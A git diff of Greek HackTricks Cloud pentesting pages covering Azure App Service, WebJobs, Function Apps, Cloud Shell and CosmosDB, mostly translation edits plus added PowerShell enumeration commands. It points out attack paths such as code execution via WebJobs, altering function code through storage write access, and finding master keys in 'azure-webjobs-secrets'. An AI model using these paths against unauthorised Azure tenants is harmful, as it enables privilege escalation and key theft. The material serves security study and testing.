Επιπλέον, το Kudu χρησιμοποιούνταν ως ανοιχτού κώδικα στο [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu) αλλά το έργο έχει αποσυρθεί και συγκρίνοντας τη συμπεριφορά του τρέχοντος Kudu στην Azure με το παλιό, είναι δυνατόν να παρατηρηθεί ότι **πολλά πράγματα έχουν ήδη αλλάξει**.
|
||||
|
||||
## Sources
|
||||
|
||||
@@ -73,11 +73,11 @@ Kudu είναι η πλατφόρμα που **διαχειρίζεται τόσ
|
||||
Οι Azure WebJobs είναι **εργασίες παρασκηνίου που εκτελούνται στο περιβάλλον Azure App Service**. Επιτρέπουν στους προγραμματιστές να εκτελούν σενάρια ή προγράμματα παράλληλα με τις διαδικτυακές τους εφαρμογές, διευκολύνοντας την εκτέλεση ασύγχρονων ή χρονοβόρων εργασιών όπως η επεξεργασία αρχείων, η διαχείριση δεδομένων ή οι προγραμματισμένες εργασίες.
|
||||
Υπάρχουν 2 τύποι web jobs:
|
||||
- **Continuous**: Εκτελείται αδιάκοπα σε βρόχο και ενεργοποιείται μόλις δημιουργηθεί. Είναι ιδανικό για εργασίες που απαιτούν συνεχή επεξεργασία. Ωστόσο, αν η εφαρμογή σταματήσει να λειτουργεί επειδή το Always On είναι απενεργοποιημένο και δεν έχει λάβει αίτημα στα τελευταία 20 λεπτά, η web job θα σταματήσει επίσης.
|
||||
- **Triggered**: Εκτελείται κατόπιν αιτήματος ή με βάση ένα πρόγραμμα. Είναι πιο κατάλληλο για περιοδικές εργασίες, όπως ενημερώσεις δεδομένων σε παρτίδες ή ρουτίνες συντήρησης.
|
||||
- **Triggered**: Εκτελείται κατόπιν αιτήματος ή με βάση ένα πρόγραμμα. Είναι καλύτερα προσαρμοσμένο για περιοδικές εργασίες, όπως ενημερώσεις δεδομένων batch ή ρουτίνες συντήρησης.
|
||||
|
||||
Οι webjobs είναι πολύ ενδιαφέρουσες από την προοπτική των επιτιθέμενων, καθώς θα μπορούσαν να χρησιμοποιηθούν για **εκτέλεση κώδικα** στο περιβάλλον και **κλιμάκωση δικαιωμάτων** στις συνδεδεμένες διαχειριζόμενες ταυτότητες.
|
||||
Οι webjobs είναι πολύ ενδιαφέρουσες από την προοπτική των επιτιθέμενων καθώς θα μπορούσαν να χρησιμοποιηθούν για **εκτέλεση κώδικα** στο περιβάλλον και **κλιμάκωση δικαιωμάτων** στις συνδεδεμένες διαχειριζόμενες ταυτότητες.
|
||||
|
||||
Επιπλέον, είναι πάντα ενδιαφέρον να ελέγχετε τα **αρχεία καταγραφής** που παράγονται από τις Webjobs, καθώς θα μπορούσαν να περιέχουν **ευαίσθητες πληροφορίες**.
|
||||
Επιπλέον, είναι πάντα ενδιαφέρον να ελέγχετε τα **αρχεία καταγραφής** που παράγονται από τις Webjobs καθώς θα μπορούσαν να περιέχουν **ευαίσθητες πληροφορίες**.
|
||||
|
||||
## Slots
|
||||
|
||||
@@ -87,9 +87,9 @@ Kudu είναι η πλατφόρμα που **διαχειρίζεται τόσ
|
||||
|
||||
## Azure Function Apps
|
||||
|
||||
Βασικά, **οι Azure Function apps είναι ένα υποσύνολο της Azure App Service** στην διαδικτυακή κονσόλα και αν πάτε στην διαδικτυακή κονσόλα και καταγράψετε όλες τις υπηρεσίες εφαρμογών ή εκτελέσετε `az webapp list` στο az cli, θα μπορείτε να **δείτε τις Εφαρμογές Λειτουργιών επίσης καταγεγραμμένες εκεί**.
|
||||
Βασικά, **οι Azure Function apps είναι ένα υποσύνολο της Azure App Service** στην διαδικτυακή κονσόλα και αν πάτε στην διαδικτυακή κονσόλα και καταγράψετε όλες τις υπηρεσίες εφαρμογών ή εκτελέσετε `az webapp list` στο az cli, θα μπορείτε να **δείτε τις Function apps επίσης καταγεγραμμένες εκεί**.
|
||||
|
||||
Επομένως, και οι δύο υπηρεσίες έχουν κυρίως τις **ίδιες ρυθμίσεις, δυνατότητες και επιλογές στο az cli**, αν και μπορεί να τις ρυθμίζουν λίγο διαφορετικά (όπως οι προεπιλεγμένες τιμές των appsettings ή η χρήση ενός Λογαριασμού Αποθήκευσης στις Εφαρμογές Λειτουργιών).
|
||||
Επομένως, και οι δύο υπηρεσίες έχουν κυρίως τις **ίδιες ρυθμίσεις, δυνατότητες και επιλογές στο az cli**, αν και μπορεί να τις ρυθμίζουν λίγο διαφορετικά (όπως οι προεπιλεγμένες τιμές των appsettings ή η χρήση ενός Λογαριασμού Αποθήκευσης στις Function apps).
|
||||
|
||||
## Enumeration
|
||||
|
||||
@@ -181,10 +181,55 @@ az webapp hybrid-connections list --name <name> --resource-group <res-group>
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
```bash
|
||||
Get-Command -Module Az.Websites
|
||||
|
||||
# Get App Services and Function Apps
|
||||
Get-AzWebApp
|
||||
# Get only App Services
|
||||
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
|
||||
|
||||
# Retrieves details of a specific App Service Environment in the specified resource group.
|
||||
Get-AzAppServiceEnvironment -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the access restriction configuration for a specified Web App.
|
||||
Get-AzWebAppAccessRestrictionConfig -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the SSL certificates for a specified resource group.
|
||||
Get-AzWebAppCertificate -ResourceGroupName <ResourceGroupName>
|
||||
# Retrieves the continuous deployment URL for a containerized Web App.
|
||||
Get-AzWebAppContainerContinuousDeploymentUrl -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the list of continuous WebJobs for a specified Web App.
|
||||
Get-AzWebAppWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
|
||||
# Retrieves the list of triggered WebJobs for a specified Web App.
|
||||
Get-AzWebAppTriggeredWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
|
||||
|
||||
# Retrieves details of a deleted Web App in the specified resource group.
|
||||
Get-AzDeletedWebApp -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves a list of snapshots for a specified Web App.
|
||||
Get-AzWebAppSnapshot -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the history of a specific triggered WebJob for a Web App.
|
||||
Get-AzWebAppTriggeredWebJobHistory -ResourceGroupName <ResourceGroupName> -AppName <AppName> -Name <Name>
|
||||
|
||||
# Retrieves information about deployment slots for a specified Web App.
|
||||
Get-AzWebAppSlot -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the continuous WebJobs for a specific deployment slot of a Web App.
|
||||
Get-AzWebAppSlotWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
|
||||
# Retrieves the triggered WebJobs for a specific deployment slot of a Web App.
|
||||
Get-AzWebAppSlotTriggeredWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
|
||||
# Retrieves the history of a specific triggered WebJob for a deployment slot of a Web App.
|
||||
Get-AzWebAppSlotTriggeredWebJobHistory -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName> -Name <Name>
|
||||
# Retrieves the continuous WebJobs for a Web App.
|
||||
Get-AzWebAppContinuousWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
|
||||
# Retrieves the continuous WebJobs for a specific deployment slot of a Web App.
|
||||
Get-AzWebAppSlotContinuousWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
|
||||
|
||||
# Retrieves the traffic routing rules for a Web App.
|
||||
Get-AzWebAppTrafficRouting -ResourceGroupName <ResourceGroupName> -WebAppName <WebAppName> -RuleName <RuleName>
|
||||
|
||||
# Retrieves details of a specific backup for a Web App.
|
||||
Get-AzWebAppBackup -ResourceGroupName <ResourceGroupName> -Name <Name> -BackupId <BackupId>
|
||||
# Retrieves the backup configuration for a Web App.
|
||||
Get-AzWebAppBackupConfiguration -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the list of all backups for a Web App.
|
||||
Get-AzWebAppBackupList -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
@@ -253,7 +298,7 @@ az webapp up --runtime PYTHON:3.9 --sku B1 --logs
|
||||
2. Δημιουργήστε μια νέα python Web App στο Azure.
|
||||
3. Στο `Deployment Center` αλλάξτε την πηγή, συνδεθείτε με το Github, επιλέξτε το forked repo και κάντε κλικ στο `Save`.
|
||||
|
||||
Όπως και στην προηγούμενη περίπτωση, συνδεόμενοι στο SCM portal ή συνδεόμενοι μέσω FTP, είναι δυνατόν να δούμε στο `/wwwroot` το συμπιεσμένο αρχείο `output.tar.gz` που περιέχει τον κώδικα της webapp.
|
||||
Όπως στην προηγούμενη περίπτωση, συνδεόμενοι στο SCM portal ή συνδεόμενοι μέσω FTP, είναι δυνατόν να δούμε στο `/wwwroot` το συμπιεσμένο αρχείο `output.tar.gz` που περιέχει τον κώδικα της webapp.
|
||||
|
||||
> [!TIP]
|
||||
> Απλώς η σύνδεση μέσω FTP και η τροποποίηση του αρχείου `output.tar.gz` και η επανενεργοποίηση μιας ανάπτυξης δεν είναι αρκετή για να αλλάξει τον κώδικα που εκτελείται από την webapp.
|
||||
|
||||
@@ -0,0 +1,58 @@
|
||||
# Az - Cloud Shell
|
||||
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Υποστήριξη HackTricks</summary>
|
||||
|
||||
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Azure Cloud Shell
|
||||
|
||||
**Azure Cloud Shell** είναι ένα διαδραστικό, αυθεντικοποιημένο, προσβάσιμο μέσω προγράμματος περιήγησης τερματικό σχεδιασμένο για τη διαχείριση πόρων Azure, προσφέροντας την ευελιξία να εργάζεστε είτε με Bash είτε με PowerShell. Λειτουργεί σε έναν προσωρινό, ανά συνεδρία διακομιστή που λήγει μετά από 20 λεπτά αδράνειας, ενώ διατηρεί αρχεία στην τοποθεσία $HOME χρησιμοποιώντας μια κοινή χρήση αρχείων 5 GB. Το Cloud Shell μπορεί να προσπελαστεί μέσω πολλών σημείων, συμπεριλαμβανομένων του Azure portal, shell.azure.com, Azure CLI και της τεκμηρίωσης PowerShell, της εφαρμογής Azure mobile και της επέκτασης Azure Account του Visual Studio Code.
|
||||
|
||||
Δεν υπάρχουν δικαιώματα που να έχουν ανατεθεί σε αυτή την υπηρεσία, επομένως δεν υπάρχουν τεχνικές ανύψωσης προνομίων. Επίσης, δεν υπάρχει κανενός είδους αρίθμηση.
|
||||
|
||||
### Κύρια Χαρακτηριστικά
|
||||
|
||||
**Περιβάλλον**: Το Azure Cloud Shell παρέχει ένα ασφαλές περιβάλλον εκτελώντας σε Azure Linux, τη δική διανομή Linux της Microsoft σχεδιασμένη για υποδομές cloud. Όλα τα πακέτα που περιλαμβάνονται στο αποθετήριο Azure Linux είναι εσωτερικά συνταγμένα από τη Microsoft για να προστατεύονται από επιθέσεις εφοδιαστικής αλυσίδας.
|
||||
**Προεγκατεστημένα Εργαλεία**: Το Cloud Shell περιλαμβάνει ένα ολοκληρωμένο σύνολο προεγκατεστημένων εργαλείων όπως Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git και επεξεργαστές κειμένου όπως vim, nano και emacs. Αυτά τα εργαλεία είναι έτοιμα προς χρήση. Για να καταγράψετε τα εγκατεστημένα πακέτα και τα modules μπορείτε να χρησιμοποιήσετε "Get-Module -ListAvailable", "tdnf list" και "pip3 list".
|
||||
**Διατήρηση $HOME**: Όταν ξεκινάτε το Azure Cloud Shell για πρώτη φορά, μπορείτε να το χρησιμοποιήσετε με ή χωρίς συνδεδεμένο λογαριασμό αποθήκευσης. Η επιλογή να μην συνδέσετε αποθήκευση δημιουργεί μια επαφή συνεδρίας όπου τα αρχεία διαγράφονται όταν τελειώνει η συνεδρία. Για να διατηρήσετε αρχεία σε διάφορες συνεδρίες, συνδέστε έναν λογαριασμό αποθήκευσης, ο οποίος συνδέεται αυτόματα ως **$HOME\clouddrive**, με τον κατάλογο **$HOME** σας να αποθηκεύεται ως αρχείο **.img** στο Azure File Share. Ωστόσο, τα αρχεία εκτός του $HOME και οι καταστάσεις μηχανής δεν διατηρούνται. Για την ασφαλή αποθήκευση μυστικών όπως τα κλειδιά SSH, χρησιμοποιήστε το Azure Key Vault.
|
||||
**Azure drive (Azure:)**: Το PowerShell στο Azure Cloud Shell περιλαμβάνει το Azure drive (Azure:), το οποίο επιτρέπει εύκολη πλοήγηση στους πόρους Azure όπως Compute, Network και Storage χρησιμοποιώντας εντολές παρόμοιες με το σύστημα αρχείων. Μεταβείτε στο Azure drive με cd Azure: και επιστρέψτε στον κατάλογο αρχικής σας με cd ~. Μπορείτε να χρησιμοποιήσετε cmdlets Azure PowerShell για να διαχειριστείτε πόρους από οποιοδήποτε drive.
|
||||
**Εγκατάσταση Προσαρμοσμένων Εργαλείων**: Οι χρήστες που διαμορφώνουν το Cloud Shell με έναν λογαριασμό αποθήκευσης μπορούν να εγκαταστήσουν επιπλέον εργαλεία που δεν απαιτούν δικαιώματα root. Αυτή η δυνατότητα επιτρέπει περαιτέρω προσαρμογή του περιβάλλοντος Cloud Shell, επιτρέποντας στους χρήστες να προσαρμόσουν τη ρύθμισή τους στις συγκεκριμένες ανάγκες τους.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
|
||||
* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
|
||||
* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
|
||||
|
||||
|
||||
## Διατήρηση
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %}
|
||||
[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Υποστήριξη HackTricks</summary>
|
||||
|
||||
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).p
|
||||
|
||||
## Azure CosmosDB
|
||||
|
||||
**Azure Cosmos DB** είναι μια πλήρως **διαχειριζόμενη NoSQL, σχεσιακή και διανυσματική βάση δεδομένων** που προσφέρει χρόνους απόκρισης σε χιλιοστά του δευτερολέπτου, αυτόματη κλιμάκωση και διαθεσιμότητα υποστηριζόμενη από SLA με ασφάλεια επιπέδου επιχείρησης. Διευκολύνει την ταχύτερη ανάπτυξη εφαρμογών μέσω έτοιμης διανομής δεδομένων σε πολλές περιοχές, ανοιχτών API, SDK για δημοφιλείς γλώσσες και χαρακτηριστικά βάσης δεδομένων AI όπως η ενσωματωμένη υποστήριξη διανυσμάτων και η απρόσκοπτη ενσωμάτωσή της με Azure AI.
|
||||
**Azure Cosmos DB** είναι μια πλήρως **διαχειριζόμενη NoSQL, σχεσιακή και διανυσματική βάση δεδομένων** που προσφέρει χρόνους απόκρισης σε χιλιοστά του δευτερολέπτου, αυτόματη κλιμάκωση και διαθεσιμότητα υποστηριζόμενη από SLA με ασφάλεια επιπέδου επιχείρησης. Διευκολύνει την ταχύτερη ανάπτυξη εφαρμογών μέσω έτοιμης διανομής δεδομένων σε πολλές περιοχές, ανοιχτών APIs, SDKs για δημοφιλείς γλώσσες και χαρακτηριστικών βάσεων δεδομένων AI όπως η ενσωματωμένη υποστήριξη διανυσμάτων και η απρόσκοπτη ενσωμάτωσή της με Azure AI.
|
||||
|
||||
Η Azure Cosmos DB παρέχει πολλαπλά API βάσεων δεδομένων για την μοντελοποίηση πραγματικών δεδομένων χρησιμοποιώντας έγγραφα, σχεσιακά, key-value, γραφήματα και μοντέλα δεδομένων column-family, με αυτά τα API να είναι NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin και Table.
|
||||
Η Azure Cosmos DB παρέχει πολλαπλά APIs βάσεων δεδομένων για την μοντελοποίηση πραγματικών δεδομένων χρησιμοποιώντας έγγραφα, σχεσιακά, key-value, γραφήματα και μοντέλα δεδομένων column-family, με αυτά τα APIs να είναι NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin και Table.
|
||||
|
||||
Ένας βασικός τομέας του CosmosDB είναι ο Azure Cosmos Account. **Azure Cosmos Account**, λειτουργεί ως σημείο εισόδου στις βάσεις δεδομένων. Ο λογαριασμός καθορίζει βασικές ρυθμίσεις όπως η παγκόσμια διανομή, τα επίπεδα συνέπειας και το συγκεκριμένο API που θα χρησιμοποιηθεί, όπως το NoSQL. Μέσω του λογαριασμού, μπορείτε να ρυθμίσετε την παγκόσμια αναπαραγωγή για να διασφαλίσετε ότι τα δεδομένα είναι διαθέσιμα σε πολλές περιοχές για γρήγορη πρόσβαση. Επιπλέον, μπορείτε να επιλέξετε ένα επίπεδο συνέπειας που ισορροπεί μεταξύ απόδοσης και ακρίβειας δεδομένων, με επιλογές που κυμαίνονται από Strong έως Eventual consistency.
|
||||
|
||||
@@ -173,7 +173,7 @@ print(item)
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Ένας άλλος τρόπος για να καθιερώσετε μια σύνδεση είναι να χρησιμοποιήσετε το **DefaultAzureCredential()**. Απλώς χρειάζεται να συνδεθείτε (az login) με τον λογαριασμό που έχει τις άδειες και να το εκτελέσετε. Για αυτή την περίπτωση, πρέπει να γίνει μια ανάθεση ρόλου, δίνοντας τις απαραίτητες άδειες (βλ. για περισσότερα)
|
||||
Ένας άλλος τρόπος για να καθιερώσετε μια σύνδεση είναι να χρησιμοποιήσετε το **DefaultAzureCredential()**. Απλώς χρειάζεται να συνδεθείτε (az login) με τον λογαριασμό που έχει τις άδειες και να το εκτελέσετε. Για αυτή την περίπτωση, πρέπει να γίνει μια ανάθεση ρόλου, δίνοντας τις απαραίτητες άδειες (δείτε για περισσότερα)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
@@ -212,7 +212,7 @@ mongodb://<hostname>:<port>/<database>
|
||||
{% endcode %}
|
||||
|
||||
#### Βάσεις Δεδομένων
|
||||
Στο MongoDB, μπορείτε να δημιουργήσετε μία ή περισσότερες βάσεις δεδομένων μέσα σε μια παρουσία. Κάθε βάση δεδομένων λειτουργεί ως λογική ομαδοποίηση συλλογών και παρέχει ένα όριο για την οργάνωση και διαχείριση πόρων. Οι βάσεις δεδομένων βοηθούν στη λογική διαχωρισμό και διαχείριση των δεδομένων, όπως για διαφορετικές εφαρμογές ή έργα.
|
||||
Στο MongoDB, μπορείτε να δημιουργήσετε μία ή περισσότερες βάσεις δεδομένων μέσα σε μια παρουσία. Κάθε βάση δεδομένων λειτουργεί ως λογική ομαδοποίηση συλλογών και παρέχει ένα όριο για την οργάνωση και διαχείριση πόρων. Οι βάσεις δεδομένων βοηθούν στη λογική διαχωριστική και διαχείριση δεδομένων, όπως για διαφορετικές εφαρμογές ή έργα.
|
||||
|
||||
#### Συλλογές
|
||||
Η βασική μονάδα αποθήκευσης δεδομένων στο MongoDB είναι η συλλογή, η οποία περιέχει έγγραφα και έχει σχεδιαστεί για αποδοτική αναζήτηση και ευέλικτο σχεδιασμό σχήματος. Οι συλλογές είναι ελαστικά κλιμακούμενες και μπορούν να υποστηρίξουν λειτουργίες υψηλής απόδοσης σε πολλαπλούς κόμβους σε μια κατανεμημένη ρύθμιση.
|
||||
@@ -247,7 +247,6 @@ az cosmosdb mongodb collection list --account-name <AccountName> --database-name
|
||||
az cosmosdb mongodb role definition list --account-name <AccountName> --resource-group <ResourceGroupName>
|
||||
# List all user definitions for MongoDB within an Azure Cosmos DB account
|
||||
az cosmosdb mongodb user definition list --account-name <AccountName> --resource-group <ResourceGroupName>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
@@ -334,7 +333,7 @@ print(f"Inserted document with ID: {result.inserted_id}")
|
||||
* [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction)
|
||||
* [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli)
|
||||
|
||||
## Ανύψωση Προνομίων
|
||||
## Ανάβαση Δικαιωμάτων
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-cosmosDB-privesc.md" %}
|
||||
[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md)
|
||||
@@ -349,7 +348,7 @@ print(f"Inserted document with ID: {result.inserted_id}")
|
||||
## ToDo
|
||||
|
||||
* Η υπόλοιπη DB εδώ, πίνακες, cassandra, gremlin...
|
||||
* Ρίξτε μια ματιά στην εκμετάλλευση "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" και τους ορισμούς ρόλων γιατί εδώ μπορεί να υπάρχει ανύψωση προνομίων
|
||||
* Ρίξτε μια ματιά στην εκμετάλλευση "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" και τους ορισμούς ρόλων γιατί εδώ μπορεί να υπάρχει privesc
|
||||
* Ρίξτε μια ματιά στις αποκαταστάσεις
|
||||
|
||||
{% hint style="success" %}
|
||||
|
||||
@@ -13,28 +13,28 @@
|
||||
|
||||
- **Flex Consumption Plan**: Προσφέρει **dynamic, event-driven scaling** με τιμολόγηση pay-as-you-go, προσθέτοντας ή αφαιρώντας παραδείγματα λειτουργιών με βάση τη ζήτηση. Υποστηρίζει **virtual networking** και **pre-provisioned instances** για να μειώσει τις κρύες εκκινήσεις, καθιστώντας το κατάλληλο για **variable workloads** που δεν απαιτούν υποστήριξη κοντέινερ.
|
||||
- **Traditional Consumption Plan**: Η προεπιλεγμένη serverless επιλογή, όπου **πληρώνετε μόνο για τους υπολογιστικούς πόρους όταν εκτελούνται οι λειτουργίες**. Αυξάνεται αυτόματα με βάση τα εισερχόμενα γεγονότα και περιλαμβάνει **cold start optimizations**, αλλά δεν υποστηρίζει αναπτύξεις κοντέινερ. Ιδανικό για **intermittent workloads** που απαιτούν αυτόματη κλιμάκωση.
|
||||
- **Premium Plan**: Σχεδιασμένο για **consistent performance**, με **prewarmed workers** για να εξαλείψει τις κρύες εκκινήσεις. Προσφέρει **extended execution times, virtual networking**, και υποστηρίζει **custom Linux images**, καθιστώντας το ιδανικό για **mission-critical applications** που χρειάζονται υψηλή απόδοση και προηγμένες δυνατότητες.
|
||||
- **Premium Plan**: Σχεδιασμένο για **consistent performance**, με **prewarmed workers** για να εξαλείψει τις κρύες εκκινήσεις. Προσφέρει **extended execution times, virtual networking**, και υποστηρίζει **custom Linux images**, καθιστώντας το τέλειο για **mission-critical applications** που χρειάζονται υψηλή απόδοση και προηγμένες δυνατότητες.
|
||||
- **Dedicated Plan**: Λειτουργεί σε αφιερωμένες εικονικές μηχανές με **predictable billing** και υποστηρίζει χειροκίνητη ή αυτόματη κλιμάκωση. Επιτρέπει την εκτέλεση πολλών εφαρμογών στο ίδιο σχέδιο, παρέχει **compute isolation**, και εξασφαλίζει **secure network access** μέσω App Service Environments, καθιστώντας το ιδανικό για **long-running applications** που χρειάζονται συνεπή κατανομή πόρων.
|
||||
- **Container Apps**: Επιτρέπει την ανάπτυξη **containerized function apps** σε ένα διαχειριζόμενο περιβάλλον, παράλληλα με μικροϋπηρεσίες και APIs. Υποστηρίζει προσαρμοσμένες βιβλιοθήκες, μετανάστευση κληρονομημένων εφαρμογών, και **GPU processing**, εξαλείφοντας τη διαχείριση του Kubernetes cluster. Ιδανικό για **event-driven, scalable containerized applications**.
|
||||
|
||||
### **Storage Buckets**
|
||||
|
||||
Όταν δημιουργείτε μια νέα Function App που δεν είναι κοντεϊνεροποιημένη (αλλά δίνετε τον κώδικα για εκτέλεση), τα **δεδομένα του κώδικα και άλλα σχετικά με τη Function θα αποθηκευτούν σε έναν λογαριασμό Storage**. Από προεπιλογή, η διαδικτυακή κονσόλα θα δημιουργήσει έναν νέο ανά λειτουργία για να αποθηκεύσει τον κώδικα.
|
||||
Όταν δημιουργείτε μια νέα Function App που δεν είναι κοντεϊνεροποιημένη (αλλά δίνετε τον κώδικα για εκτέλεση), τα **κωδικοποιημένα και άλλα δεδομένα που σχετίζονται με τη Function θα αποθηκευτούν σε έναν λογαριασμό Storage**. Από προεπιλογή, η διαδικτυακή κονσόλα θα δημιουργήσει έναν νέο ανά λειτουργία για να αποθηκεύσει τον κώδικα.
|
||||
|
||||
Επιπλέον, τροποποιώντας τον κώδικα μέσα στον κάδο (στα διάφορα φορμά που μπορεί να αποθηκευτεί), ο **κώδικας της εφαρμογής θα τροποποιηθεί στον νέο και θα εκτελείται** την επόμενη φορά που θα κληθεί η Function.
|
||||
Επιπλέον, τροποποιώντας τον κώδικα μέσα στο bucket (στα διάφορα φορμά που μπορεί να αποθηκευτεί), ο **κώδικας της εφαρμογής θα τροποποιηθεί στον νέο και θα εκτελείται** την επόμενη φορά που θα κληθεί η Function.
|
||||
|
||||
> [!CAUTION]
|
||||
> Αυτό είναι πολύ ενδιαφέρον από την προοπτική ενός επιτιθέμενου καθώς η **πρόσβαση εγγραφής σε αυτόν τον κάδο** θα επιτρέψει σε έναν επιτιθέμενο να **συμβιβάσει τον κώδικα και να κλιμακώσει τα δικαιώματα** στις διαχειριζόμενες ταυτότητες μέσα στην Function App.
|
||||
> Αυτό είναι πολύ ενδιαφέρον από την προοπτική ενός επιτιθέμενου καθώς η **πρόσβαση εγγραφής σε αυτό το bucket** θα επιτρέψει σε έναν επιτιθέμενο να **συμβιβάσει τον κώδικα και να κλιμακώσει τα προνόμια** στις διαχειριζόμενες ταυτότητες μέσα στην Function App.
|
||||
>
|
||||
> Περισσότερα σχετικά με αυτό στην **ενότητα κλιμάκωσης δικαιωμάτων**.
|
||||
> Περισσότερα σχετικά με αυτό στην **ενότητα κλιμάκωσης προνομίων**.
|
||||
|
||||
Είναι επίσης δυνατό να βρείτε τα **master και functions keys** αποθηκευμένα στον λογαριασμό storage στον κάδο **`azure-webjobs-secrets`** μέσα στον φάκελο **`<app-name>`** στα αρχεία JSON που μπορείτε να βρείτε μέσα.
|
||||
Είναι επίσης δυνατό να βρείτε τα **master και functions keys** αποθηκευμένα στον λογαριασμό storage στο κοντέινερ **`azure-webjobs-secrets`** μέσα στον φάκελο **`<app-name>`** στα αρχεία JSON που μπορείτε να βρείτε μέσα.
|
||||
|
||||
Σημειώστε ότι οι Functions επιτρέπουν επίσης την αποθήκευση του κώδικα σε μια απομακρυσμένη τοποθεσία απλά υποδεικνύοντας το URL της.
|
||||
|
||||
### Networking
|
||||
|
||||
Χρησιμοποιώντας έναν HTTP ενεργοποιητή:
|
||||
Χρησιμοποιώντας έναν HTTP trigger:
|
||||
|
||||
